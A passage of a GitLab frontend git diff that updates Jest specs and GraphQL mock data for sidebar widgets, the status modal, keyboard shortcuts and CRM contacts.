+ Getting started with serverless
+ </h1>
+ <p class=\\"gl-mt-3\\">In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. <gl-link-stub href=\\"/help\\">More information</gl-link-stub>
</p>
<div class=\\"gl-display-flex gl-flex-wrap gl-justify-content-center\\">
<!---->
diff --git a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
index 3ff6d1f9597..d7261784edc 100644
--- a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
+++ b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
@@ -1,6 +1,6 @@
import { GlModal, GlFormCheckbox } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { initEmojiMock } from 'helpers/emoji';
+import { initEmojiMock, clearEmojiMock } from 'helpers/emoji';
import * as UserApi from '~/api/user_api';
import EmojiPicker from '~/emoji/components/picker.vue';
import createFlash from '~/flash';
@@ -12,7 +12,6 @@ jest.mock('~/flash');
describe('SetStatusModalWrapper', () => {
let wrapper;
- let mockEmoji;
const $toast = {
show: jest.fn(),
};
@@ -63,12 +62,12 @@ describe('SetStatusModalWrapper', () => {
afterEach(() => {
wrapper.destroy();
- mockEmoji.restore();
+ clearEmojiMock();
});
describe('with minimum props', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent();
return initModal();
});
@@ -112,7 +111,7 @@ describe('SetStatusModalWrapper', () => {
describe('improvedEmojiPicker is true', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({}, true);
return initModal();
});
@@ -126,7 +125,7 @@ describe('SetStatusModalWrapper', () => {
describe('with no currentMessage set', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({ currentMessage: '' });
return initModal();
});
@@ -146,7 +145,7 @@ describe('SetStatusModalWrapper', () => {
describe('with no currentEmoji set', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({ currentEmoji: '' });
return initModal();
});
@@ -161,7 +160,7 @@ describe('SetStatusModalWrapper', () => {
describe('with no currentMessage set', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({ currentEmoji: '', currentMessage: '' });
return initModal();
});
@@ -174,7 +173,7 @@ describe('SetStatusModalWrapper', () => {
describe('with currentClearStatusAfter set', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({ currentClearStatusAfter: '2021-01-01 00:00:00 UTC' });
return initModal();
});
@@ -190,7 +189,7 @@ describe('SetStatusModalWrapper', () => {
describe('update status', () => {
describe('succeeds', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent();
await initModal();
@@ -198,7 +197,7 @@ describe('SetStatusModalWrapper', () => {
});
it('clicking "removeStatus" clears the emoji and message fields', async () => {
- findModal().vm.$emit('cancel');
+ findModal().vm.$emit('secondary');
await wrapper.vm.$nextTick();
expect(findFormField('message').element.value).toBe('');
@@ -206,7 +205,7 @@ describe('SetStatusModalWrapper', () => {
});
it('clicking "setStatus" submits the user status', async () => {
- findModal().vm.$emit('ok');
+ findModal().vm.$emit('primary');
await wrapper.vm.$nextTick();
// set the availability status
@@ -215,7 +214,7 @@ describe('SetStatusModalWrapper', () => {
// set the currentClearStatusAfter to 30 minutes
wrapper.find('[data-testid="thirtyMinutes"]').vm.$emit('click');
- findModal().vm.$emit('ok');
+ findModal().vm.$emit('primary');
await wrapper.vm.$nextTick();
const commonParams = {
@@ -237,7 +236,7 @@ describe('SetStatusModalWrapper', () => {
});
it('calls the "onUpdateSuccess" handler', async () => {
- findModal().vm.$emit('ok');
+ findModal().vm.$emit('primary');
await wrapper.vm.$nextTick();
expect(wrapper.vm.onUpdateSuccess).toHaveBeenCalled();
@@ -246,14 +245,14 @@ describe('SetStatusModalWrapper', () => {
describe('success message', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({ currentEmoji: '', currentMessage: '' });
jest.spyOn(UserApi, 'updateUserStatus').mockResolvedValue();
return initModal({ mockOnUpdateSuccess: false });
});
it('displays a toast success message', async () => {
- findModal().vm.$emit('ok');
+ findModal().vm.$emit('primary');
await wrapper.vm.$nextTick();
expect($toast.show).toHaveBeenCalledWith('Status updated');
@@ -262,7 +261,7 @@ describe('SetStatusModalWrapper', () => {
describe('with errors', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent();
await initModal();
@@ -270,7 +269,7 @@ describe('SetStatusModalWrapper', () => {
});
it('calls the "onUpdateFail" handler', async () => {
- findModal().vm.$emit('ok');
+ findModal().vm.$emit('primary');
await wrapper.vm.$nextTick();
expect(wrapper.vm.onUpdateFail).toHaveBeenCalled();
@@ -279,14 +278,14 @@ describe('SetStatusModalWrapper', () => {
describe('error message', () => {
beforeEach(async () => {
- mockEmoji = await initEmojiMock();
+ await initEmojiMock();
wrapper = createComponent({ currentEmoji: '', currentMessage: '' });
jest.spyOn(UserApi, 'updateUserStatus').mockRejectedValue();
return initModal({ mockOnUpdateFailure: false });
});
it('flashes an error message', async () => {
- findModal().vm.$emit('ok');
+ findModal().vm.$emit('primary');
await wrapper.vm.$nextTick();
expect(createFlash).toHaveBeenCalledWith({
diff --git a/spec/frontend/shortcuts_spec.js b/spec/frontend/shortcuts_spec.js
index 455db325066..49148123a1c 100644
--- a/spec/frontend/shortcuts_spec.js
+++ b/spec/frontend/shortcuts_spec.js
@@ -25,6 +25,7 @@ describe('Shortcuts', () => {
jest.spyOn(document.querySelector('.js-new-note-form .js-md-preview-button'), 'focus');
jest.spyOn(document.querySelector('.edit-note .js-md-preview-button'), 'focus');
+ jest.spyOn(document.querySelector('#search'), 'focus');
new Shortcuts(); // eslint-disable-line no-new
});
@@ -111,4 +112,12 @@ describe('Shortcuts', () => {
});
});
});
+
+ describe('focusSearch', () => {
+ it('focuses the search bar', () => {
+ Shortcuts.focusSearch(createEvent('KeyboardEvent'));
+
+ expect(document.querySelector('#search').focus).toHaveBeenCalled();
+ });
+ });
});
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
index 39f63b2a9f4..07da4acef8c 100644
--- a/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
+++ b/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
@@ -5,7 +5,7 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import SidebarAssigneesRealtime from '~/sidebar/components/assignees/assignees_realtime.vue';
import IssuableAssignees from '~/sidebar/components/assignees/issuable_assignees.vue';
import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
diff --git a/spec/frontend/sidebar/components/attention_requested_toggle_spec.js b/spec/frontend/sidebar/components/attention_requested_toggle_spec.js
new file mode 100644
index 00000000000..0939297a754
--- /dev/null
+++ b/spec/frontend/sidebar/components/attention_requested_toggle_spec.js
@@ -0,0 +1,84 @@
+import { GlButton } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import AttentionRequestedToggle from '~/sidebar/components/attention_requested_toggle.vue';
+
+let wrapper;
+
+function factory(propsData = {}) {
+ wrapper = mount(AttentionRequestedToggle, { propsData });
+}
+
+const findToggle = () => wrapper.findComponent(GlButton);
+
+describe('Attention require toggle', () => {
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders button', () => {
+ factory({ type: 'reviewer', user: { attention_requested: false } });
+
+ expect(findToggle().exists()).toBe(true);
+ });
+
+ it.each`
+ attentionRequested | icon
+ ${true} | ${'attention-solid'}
+ ${false} | ${'attention'}
+ `(
+ 'renders $icon icon when attention_requested is $attentionRequested',
+ ({ attentionRequested, icon }) => {
+ factory({ type: 'reviewer', user: { attention_requested: attentionRequested } });
+
+ expect(findToggle().props('icon')).toBe(icon);
+ },
+ );
+
+ it.each`
+ attentionRequested | variant
+ ${true} | ${'warning'}
+ ${false} | ${'default'}
+ `(
+ 'renders button with variant $variant when attention_requested is $attentionRequested',
+ ({ attentionRequested, variant }) => {
+ factory({ type: 'reviewer', user: { attention_requested: attentionRequested } });
+
+ expect(findToggle().props('variant')).toBe(variant);
+ },
+ );
+
+ it('emits toggle-attention-requested on click', async () => {
+ factory({ type: 'reviewer', user: { attention_requested: true } });
+
+ await findToggle().trigger('click');
+
+ expect(wrapper.emitted('toggle-attention-requested')[0]).toEqual([
+ {
+ user: { attention_requested: true },
+ callback: expect.anything(),
+ },
+ ]);
+ });
+
+ it('sets loading on click', async () => {
+ factory({ type: 'reviewer', user: { attention_requested: true } });
+
+ await findToggle().trigger('click');
+
+ expect(findToggle().props('loading')).toBe(true);
+ });
+
+ it.each`
+ type | attentionRequested | tooltip
+ ${'reviewer'} | ${true} | ${AttentionRequestedToggle.i18n.removeAttentionRequested}
+ ${'reviewer'} | ${false} | ${AttentionRequestedToggle.i18n.attentionRequestedReviewer}
+ ${'assignee'} | ${false} | ${AttentionRequestedToggle.i18n.attentionRequestedAssignee}
+ `(
+ 'sets tooltip as $tooltip when attention_requested is $attentionRequested and type is $type',
+ ({ type, attentionRequested, tooltip }) => {
+ factory({ type, user: { attention_requested: attentionRequested } });
+
+ expect(findToggle().attributes('aria-label')).toBe(tooltip);
+ },
+ );
+});
diff --git a/spec/frontend/sidebar/components/attention_required_toggle_spec.js b/spec/frontend/sidebar/components/attention_required_toggle_spec.js
deleted file mode 100644
index 8555068cdd8..00000000000
--- a/spec/frontend/sidebar/components/attention_required_toggle_spec.js
+++ /dev/null
@@ -1,84 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import AttentionRequestedToggle from '~/sidebar/components/attention_requested_toggle.vue';
-
-let wrapper;
-
-function factory(propsData = {}) {
- wrapper = mount(AttentionRequestedToggle, { propsData });
-}
-
-const findToggle = () => wrapper.findComponent(GlButton);
-
-describe('Attention require toggle', () => {
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders button', () => {
- factory({ type: 'reviewer', user: { attention_requested: false } });
-
- expect(findToggle().exists()).toBe(true);
- });
-
- it.each`
- attentionRequested | icon
- ${true} | ${'star'}
- ${false} | ${'star-o'}
- `(
- 'renders $icon icon when attention_requested is $attentionRequested',
- ({ attentionRequested, icon }) => {
- factory({ type: 'reviewer', user: { attention_requested: attentionRequested } });
-
- expect(findToggle().props('icon')).toBe(icon);
- },
- );
-
- it.each`
- attentionRequested | variant
- ${true} | ${'warning'}
- ${false} | ${'default'}
- `(
- 'renders button with variant $variant when attention_requested is $attentionRequested',
- ({ attentionRequested, variant }) => {
- factory({ type: 'reviewer', user: { attention_requested: attentionRequested } });
-
- expect(findToggle().props('variant')).toBe(variant);
- },
- );
-
- it('emits toggle-attention-requested on click', async () => {
- factory({ type: 'reviewer', user: { attention_requested: true } });
-
- await findToggle().trigger('click');
-
- expect(wrapper.emitted('toggle-attention-requested')[0]).toEqual([
- {
- user: { attention_requested: true },
- callback: expect.anything(),
- },
- ]);
- });
-
- it('sets loading on click', async () => {
- factory({ type: 'reviewer', user: { attention_requested: true } });
-
- await findToggle().trigger('click');
-
- expect(findToggle().props('loading')).toBe(true);
- });
-
- it.each`
- type | attentionRequested | tooltip
- ${'reviewer'} | ${true} | ${AttentionRequestedToggle.i18n.removeAttentionRequested}
- ${'reviewer'} | ${false} | ${AttentionRequestedToggle.i18n.attentionRequestedReviewer}
- ${'assignee'} | ${false} | ${AttentionRequestedToggle.i18n.attentionRequestedAssignee}
- `(
- 'sets tooltip as $tooltip when attention_requested is $attentionRequested and type is $type',
- ({ type, attentionRequested, tooltip }) => {
- factory({ type, user: { attention_requested: attentionRequested } });
-
- expect(findToggle().attributes('aria-label')).toBe(tooltip);
- },
- );
-});
diff --git a/spec/frontend/sidebar/components/crm_contacts_spec.js b/spec/frontend/sidebar/components/crm_contacts_spec.js
new file mode 100644
index 00000000000..758cff30e2d
--- /dev/null
+++ b/spec/frontend/sidebar/components/crm_contacts_spec.js
@@ -0,0 +1,87 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import CrmContacts from '~/sidebar/components/crm_contacts/crm_contacts.vue';
+import getIssueCrmContactsQuery from '~/sidebar/components/crm_contacts/queries/get_issue_crm_contacts.query.graphql';
+import issueCrmContactsSubscription from '~/sidebar/components/crm_contacts/queries/issue_crm_contacts.subscription.graphql';
+import {
+ getIssueCrmContactsQueryResponse,
+ issueCrmContactsUpdateResponse,
+ issueCrmContactsUpdateNullResponse,
+} from './mock_data';
+
+jest.mock('~/flash');
+
+describe('Issue crm contacts component', () => {
+ Vue.use(VueApollo);
+ let wrapper;
+ let fakeApollo;
+
+ const successQueryHandler = jest.fn().mockResolvedValue(getIssueCrmContactsQueryResponse);
+ const successSubscriptionHandler = jest.fn().mockResolvedValue(issueCrmContactsUpdateResponse);
+ const nullSubscriptionHandler = jest.fn().mockResolvedValue(issueCrmContactsUpdateNullResponse);
+
+ const mountComponent = ({
+ queryHandler = successQueryHandler,
+ subscriptionHandler = successSubscriptionHandler,
+ } = {}) => {
+ fakeApollo = createMockApollo([
+ [getIssueCrmContactsQuery, queryHandler],
+ [issueCrmContactsSubscription, subscriptionHandler],
+ ]);
+ wrapper = shallowMountExtended(CrmContacts, {
+ propsData: { issueId: '123' },
+ apolloProvider: fakeApollo,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ fakeApollo = null;
+ });
+
+ it('should render error message on reject', async () => {
+ mountComponent({ queryHandler: jest.fn().mockRejectedValue('ERROR') });
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalled();
+ });
+
+ it('calls the query with correct variables', () => {
+ mountComponent();
+
+ expect(successQueryHandler).toHaveBeenCalledWith({
+ id: 'gid://gitlab/Issue/123',
+ });
+ });
+
+ it('calls the subscription with correct variable for issue', () => {
+ mountComponent();
+
+ expect(successSubscriptionHandler).toHaveBeenCalledWith({
+ id: 'gid://gitlab/Issue/123',
+ });
+ });
+
+ it('renders correct initial results', async () => {
+ mountComponent({ subscriptionHandler: nullSubscriptionHandler });
+ await waitForPromises();
+
+ expect(wrapper.find('#contact_0').text()).toContain('Someone Important');
+ expect(wrapper.find('#contact_container_0').text()).toContain('si@gitlab.com');
+ expect(wrapper.find('#contact_1').text()).toContain('Marty McFly');
+ });
+
+ it('renders correct results after subscription update', async () => {
+ mountComponent();
+ await waitForPromises();
+
+ const contact = ['Dave Davies', 'dd@gitlab.com', '+44 20 1111 2222', 'Vice President'];
+ contact.forEach((property) => {
+ expect(wrapper.find('#contact_container_0').text()).toContain(property);
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js b/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js
index 619e89beb23..1e2173e2988 100644
--- a/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js
+++ b/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js
@@ -145,13 +145,20 @@ describe('Sidebar date Widget', () => {
${false} | ${SidebarInheritDate} | ${'SidebarInheritDate'} | ${false}
`(
'when canInherit is $canInherit, $componentName display is $expected',
- ({ canInherit, component, expected }) => {
+ async ({ canInherit, component, expected }) => {
createComponent({ canInherit });
+ await waitForPromises();
expect(wrapper.find(component).exists()).toBe(expected);
},
);
+ it('does not render SidebarInheritDate when canInherit is true and date is loading', async () => {
+ createComponent({ canInherit: true });
+
+ expect(wrapper.find(SidebarInheritDate).exists()).toBe(false);
+ });
+
it('displays a flash message when query is rejected', async () => {
createComponent({
dueDateQueryHandler: jest.fn().mockRejectedValue('Houston, we have a problem'),
diff --git a/spec/frontend/sidebar/components/date/sidebar_inherit_date_spec.js b/spec/frontend/sidebar/components/date/sidebar_inherit_date_spec.js
index 4d38eba8035..fda21e06987 100644
--- a/spec/frontend/sidebar/components/date/sidebar_inherit_date_spec.js
+++ b/spec/frontend/sidebar/components/date/sidebar_inherit_date_spec.js
@@ -10,7 +10,7 @@ describe('SidebarInheritDate', () => {
const findFixedRadio = () => wrapper.findAll(GlFormRadio).at(0);
const findInheritRadio = () => wrapper.findAll(GlFormRadio).at(1);
- const createComponent = () => {
+ const createComponent = ({ dueDateIsFixed = false } = {}) => {
wrapper = shallowMount(SidebarInheritDate, {
provide: {
canUpdate: true,
@@ -18,11 +18,10 @@ describe('SidebarInheritDate', () => {
propsData: {
issuable: {
dueDate: '2021-04-15',
- dueDateIsFixed: true,
+ dueDateIsFixed,
dueDateFixed: '2021-04-15',
dueDateFromMilestones: '2021-05-15',
},
- isLoading: false,
dateType: 'dueDate',
},
});
@@ -45,6 +44,13 @@ describe('SidebarInheritDate', () => {
expect(findInheritRadio().text()).toBe('Inherited:');
});
+ it('does not emit set-date if fixed value does not change', () => {
+ createComponent({ dueDateIsFixed: true });
+ findFixedRadio().vm.$emit('input', true);
+
+ expect(wrapper.emitted('set-date')).toBeUndefined();
+ });
+
it('emits set-date event on click on radio button', () => {
findFixedRadio().vm.$emit('input', true);
diff --git a/spec/frontend/sidebar/components/mock_data.js b/spec/frontend/sidebar/components/mock_data.js
new file mode 100644
index 00000000000..70c3f8a3012
--- /dev/null
+++ b/spec/frontend/sidebar/components/mock_data.js
@@ -0,0 +1,56 @@
+export const getIssueCrmContactsQueryResponse = {
+ data: {
+ issue: {
+ id: 'gid://gitlab/Issue/123',
+ customerRelationsContacts: {
+ nodes: [
+ {
+ id: 'gid://gitlab/CustomerRelations::Contact/1',
+ firstName: 'Someone',
+ lastName: 'Important',
+ email: 'si@gitlab.com',
+ phone: null,
+ description: null,
+ organization: null,
+ },
+ {
+ id: 'gid://gitlab/CustomerRelations::Contact/5',
+ firstName: 'Marty',
+ lastName: 'McFly',
+ email: null,
+ phone: null,
+ description: null,
+ organization: null,
+ },
+ ],
+ },
+ },
+ },
+};
+
+export const issueCrmContactsUpdateNullResponse = {
+ data: {
+ issueCrmContactsUpdated: null,
+ },
+};
+
+export const issueCrmContactsUpdateResponse = {
+ data: {
+ issueCrmContactsUpdated: {
+ id: 'gid://gitlab/Issue/123',
+ customerRelationsContacts: {
+ nodes: [
+ {
+ id: 'gid://gitlab/CustomerRelations::Contact/13',
+ firstName: 'Dave',
+ lastName: 'Davies',
+ email: 'dd@gitlab.com',
+ phone: '+44 20 1111 2222',
+ description: 'Vice President',
+ organization: null,
+ },
+ ],
+ },
+ },
+ },
+};
diff --git a/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js b/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js
index cc428693930..69e35cd1d05 100644
--- a/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js
+++ b/spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js
@@ -3,7 +3,7 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import SidebarReferenceWidget from '~/sidebar/components/reference/sidebar_reference_widget.vue';
import issueReferenceQuery from '~/sidebar/queries/issue_reference.query.graphql';
import mergeRequestReferenceQuery from '~/sidebar/queries/merge_request_reference.query.graphql';
diff --git a/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js b/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
index ca6e5ac5e7f..d7471d99477 100644
--- a/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
+++ b/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
@@ -17,7 +17,7 @@ import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { timeFor } from '~/lib/utils/datetime_utility';
import SidebarDropdownWidget from '~/sidebar/components/sidebar_dropdown_widget.vue';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
@@ -369,16 +369,18 @@ describe('SidebarDropdownWidget', () => {
describe('when a user is searching', () => {
describe('when search result is not found', () => {
- it('renders "No milestone found"', async () => {
- createComponent();
+ describe('when milestone', () => {
+ it('renders "No milestone found"', async () => {
+ createComponent();
- await toggleDropdown();
+ await toggleDropdown();
- findSearchBox().vm.$emit('input', 'non existing milestones');
+ findSearchBox().vm.$emit('input', 'non existing milestones');
- await wrapper.vm.$nextTick();
+ await wrapper.vm.$nextTick();
- expect(findDropdownText().text()).toBe('No milestone found');
+ expect(findDropdownText().text()).toBe('No milestone found');
+ });
});
});
});
diff --git a/spec/frontend/sidebar/components/time_tracking/mock_data.js b/spec/frontend/sidebar/components/time_tracking/mock_data.js
index 938750bd58b..3f1b3fa8ec1 100644
--- a/spec/frontend/sidebar/components/time_tracking/mock_data.js
+++ b/spec/frontend/sidebar/components/time_tracking/mock_data.js
@@ -11,11 +11,13 @@ export const getIssueTimelogsQueryResponse = {
__typename: 'Timelog',
timeSpent: 14400,
user: {
+ id: 'user-1',
name: 'John Doe18',
__typename: 'UserCore',
},
spentAt: '2020-05-01T00:00:00Z',
note: {
+ id: 'note-1',
body: 'A note',
__typename: 'Note',
},
@@ -25,6 +27,7 @@ export const getIssueTimelogsQueryResponse = {
__typename: 'Timelog',
timeSpent: 1800,
user: {
+ id: 'user-2',
name: 'Administrator',
__typename: 'UserCore',
},
@@ -36,11 +39,13 @@ export const getIssueTimelogsQueryResponse = {
__typename: 'Timelog',
timeSpent: 14400,
user: {
+ id: 'user-2',
name: 'Administrator',
__typename: 'UserCore',
},
spentAt: '2021-05-01T00:00:00Z',
note: {
+ id: 'note-2',
body: 'A note',
__typename: 'Note',
},
@@ -65,11 +70,13 @@ export const getMrTimelogsQueryResponse = {
__typename: 'Timelog',
timeSpent: 1800,
user: {
+ id: 'user-1',
name: 'Administrator',
__typename: 'UserCore',
},
spentAt: '2021-05-07T14:44:55Z',
note: {
+ id: 'note-1',
body: 'Thirty minutes!',
__typename: 'Note',
},
@@ -79,6 +86,7 @@ export const getMrTimelogsQueryResponse = {
__typename: 'Timelog',
timeSpent: 3600,
user: {
+ id: 'user-1',
name: 'Administrator',
__typename: 'UserCore',
},
@@ -90,11 +98,13 @@ export const getMrTimelogsQueryResponse = {
__typename: 'Timelog',
timeSpent: 300,
user: {
+ id: 'user-1',
name: 'Administrator',
__typename: 'UserCore',
},
spentAt: '2021-03-10T00:00:00Z',
note: {
+ id: 'note-2',
body: 'A note with some time',
__typename: 'Note',
},
diff --git a/spec/frontend/sidebar/mock_data.js b/spec/frontend/sidebar/mock_data.js
index 1ebd3c622ca..42e89a3ba84 100644
--- a/spec/frontend/sidebar/mock_data.js
+++ b/spec/frontend/sidebar/mock_data.js
@@ -223,6 +223,7 @@ const mockData = {
export const issueConfidentialityResponse = (confidential = false) => ({
data: {
workspace: {
+ id: '1',
__typename: 'Project',
issuable: {
__typename: 'Issue',
@@ -236,6 +237,7 @@ export const issueConfidentialityResponse = (confidential = false) => ({
export const issuableDueDateResponse = (dueDate = null) => ({
data: {
workspace: {
+ id: '1',
__typename: 'Project',
issuable: {
__typename: 'Issue',
@@ -249,6 +251,7 @@ export const issuableDueDateResponse = (dueDate = null) => ({
export const issuableStartDateResponse = (startDate = null) => ({
data: {
workspace: {
+ id: '1',
__typename: 'Group',
issuable: {
__typename: 'Epic',
@@ -265,6 +268,7 @@ export const issuableStartDateResponse = (startDate = null) => ({
export const epicParticipantsResponse = () => ({
data: {
workspace: {
+ id: '1',
__typename: 'Group',
issuable: {
__typename: 'Epic',
@@ -290,6 +294,7 @@ export const epicParticipantsResponse = () => ({
export const issueReferenceResponse = (reference) => ({
data: {
workspace: {
+ id: '1',
__typename: 'Project',
issuable: {
__typename: 'Issue',
@@ -303,6 +308,7 @@ export const issueReferenceResponse = (reference) => ({
export const issueSubscriptionsResponse = (subscribed = false, emailsDisabled = false) => ({
data: {
workspace: {
+ id: '1',
__typename: 'Project',
issuable: {
__typename: 'Issue',
@@ -318,6 +324,7 @@ export const issuableQueryResponse = {
data: {
workspace: {
__typename: 'Project',
+ id: '1',
issuable: {
__typename: 'Issue',
id: 'gid://gitlab/Issue/1',
@@ -344,6 +351,7 @@ export const searchQueryResponse = {
data: {
workspace: {
__typename: 'Project',
+ id: '1',
users: {
nodes: [
{
@@ -428,12 +436,15 @@ export const searchResponse = {
data: {
workspace: {
__typename: 'Project',
+ id: '1',
users: {
nodes: [
{
+ id: 'gid://gitlab/User/1',
user: mockUser1,
},
{
+ id: 'gid://gitlab/User/4',
user: mockUser2,
},
],
@@ -445,6 +456,7 @@ export const searchResponse = {
export const projectMembersResponse = {
data: {
workspace: {
+ id: '1',
__typename: 'Project',
users: {
nodes: [
@@ -452,10 +464,11 @@ export const projectMembersResponse = {
null,
null,
// Remove duplicated entry https://gitlab.com/gitlab-org/gitlab/-/issues/327822
- { user: mockUser1 },
- { user: mockUser1 },
- { user: mockUser2 },
+ { id: 'user-1', user: mockUser1 },
+ { id: 'user-2', user: mockUser1 },
+ { id: 'user-3', user: mockUser2 },
{
+ id: 'user-4',
user: {
id: 'gid://gitlab/User/2',
avatarUrl:
@@ -477,16 +490,18 @@ export const projectMembersResponse = {
export const groupMembersResponse = {
data: {
workspace: {
- __typename: 'roup',
+ id: '1',
+ __typename: 'Group',
users: {
nodes: [
// Remove nulls https://gitlab.com/gitlab-org/gitlab/-/issues/329750
null,
null,
// Remove duplicated entry https://gitlab.com/gitlab-org/gitlab/-/issues/327822
- { user: mockUser1 },
- { user: mockUser1 },
+ { id: 'user-1', user: mockUser1 },
+ { id: 'user-2', user: mockUser1 },
{
+ id: 'user-3',
user: {
id: 'gid://gitlab/User/2',
avatarUrl:
@@ -509,6 +524,7 @@ export const participantsQueryResponse = {
data: {
workspace: {
__typename: 'Project',
+ id: '1',
issuable: {
__typename: 'Issue',
id: 'gid://gitlab/Issue/1',
@@ -578,6 +594,7 @@ export const mockMilestone2 = {
export const mockProjectMilestonesResponse = {
data: {
workspace: {
+ id: 'gid://gitlab/Project/1',
attributes: {
nodes: [mockMilestone1, mockMilestone2],
},
@@ -663,6 +680,7 @@ export const todosResponse = {
data: {
workspace: {
__typename: 'Group',
+ id: '1',
issuable: {
__typename: 'Epic',
id: 'gid://gitlab/Epic/4',
@@ -681,6 +699,7 @@ export const todosResponse = {
export const noTodosResponse = {
data: {
workspace: {
+ id: '1',
__typename: 'Group',
issuable: {
__typename: 'Epic',
diff --git a/spec/frontend/sidebar/sidebar_labels_spec.js b/spec/frontend/sidebar/sidebar_labels_spec.js
deleted file mode 100644
index 8437ee1b723..00000000000
--- a/spec/frontend/sidebar/sidebar_labels_spec.js
+++ /dev/null
@@ -1,190 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import {
- mockLabels,
- mockRegularLabel,
-} from 'jest/vue_shared/components/sidebar/labels_select_vue/mock_data';
-import updateIssueLabelsMutation from '~/boards/graphql/issue_set_labels.mutation.graphql';
-import { MutationOperationMode } from '~/graphql_shared/utils';
-import { IssuableType } from '~/issue_show/constants';
-import SidebarLabels from '~/sidebar/components/labels/sidebar_labels.vue';
-import updateMergeRequestLabelsMutation from '~/sidebar/queries/update_merge_request_labels.mutation.graphql';
-import { toLabelGid } from '~/sidebar/utils';
-import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
-import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
-
-describe('sidebar labels', () => {
- let wrapper;
-
- const defaultProps = {
- allowLabelCreate: true,
- allowLabelEdit: true,
- allowScopedLabels: true,
- canEdit: true,
- iid: '1',
- initiallySelectedLabels: mockLabels,
- issuableType: 'issue',
- labelsFetchPath: '/gitlab-org/gitlab-test/-/labels.json?include_ancestor_groups=true',
- labelsManagePath: '/gitlab-org/gitlab-test/-/labels',
- projectIssuesPath: '/gitlab-org/gitlab-test/-/issues',
- projectPath: 'gitlab-org/gitlab-test',
- fullPath: 'gitlab-org/gitlab-test',
- };
-
- const $apollo = {
- mutate: jest.fn().mockResolvedValue(),
- };
-
- const userUpdatedLabels = [
- {
- ...mockRegularLabel,
- set: false,
- },
- {
- id: 40,
- title: 'Security',
- color: '#ddd',
- text_color: '#fff',
- set: true,
- },
- {
- id: 55,
- title: 'Tooling',
- color: '#ddd',
- text_color: '#fff',
- set: false,
- },
- ];
-
- const findLabelsSelect = () => wrapper.find(LabelsSelect);
-
- const mountComponent = (props = {}) => {
- wrapper = shallowMount(SidebarLabels, {
- provide: {
- ...defaultProps,
- ...props,
- },
- mocks: {
- $apollo,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('LabelsSelect props', () => {
- beforeEach(() => {
- mountComponent();
- });
-
- it('are as expected', () => {
- expect(findLabelsSelect().props()).toMatchObject({
- allowLabelCreate: defaultProps.allowLabelCreate,
- allowLabelEdit: defaultProps.allowLabelEdit,
- allowMultiselect: true,
- allowScopedLabels: defaultProps.allowScopedLabels,
- footerCreateLabelTitle: 'Create project label',
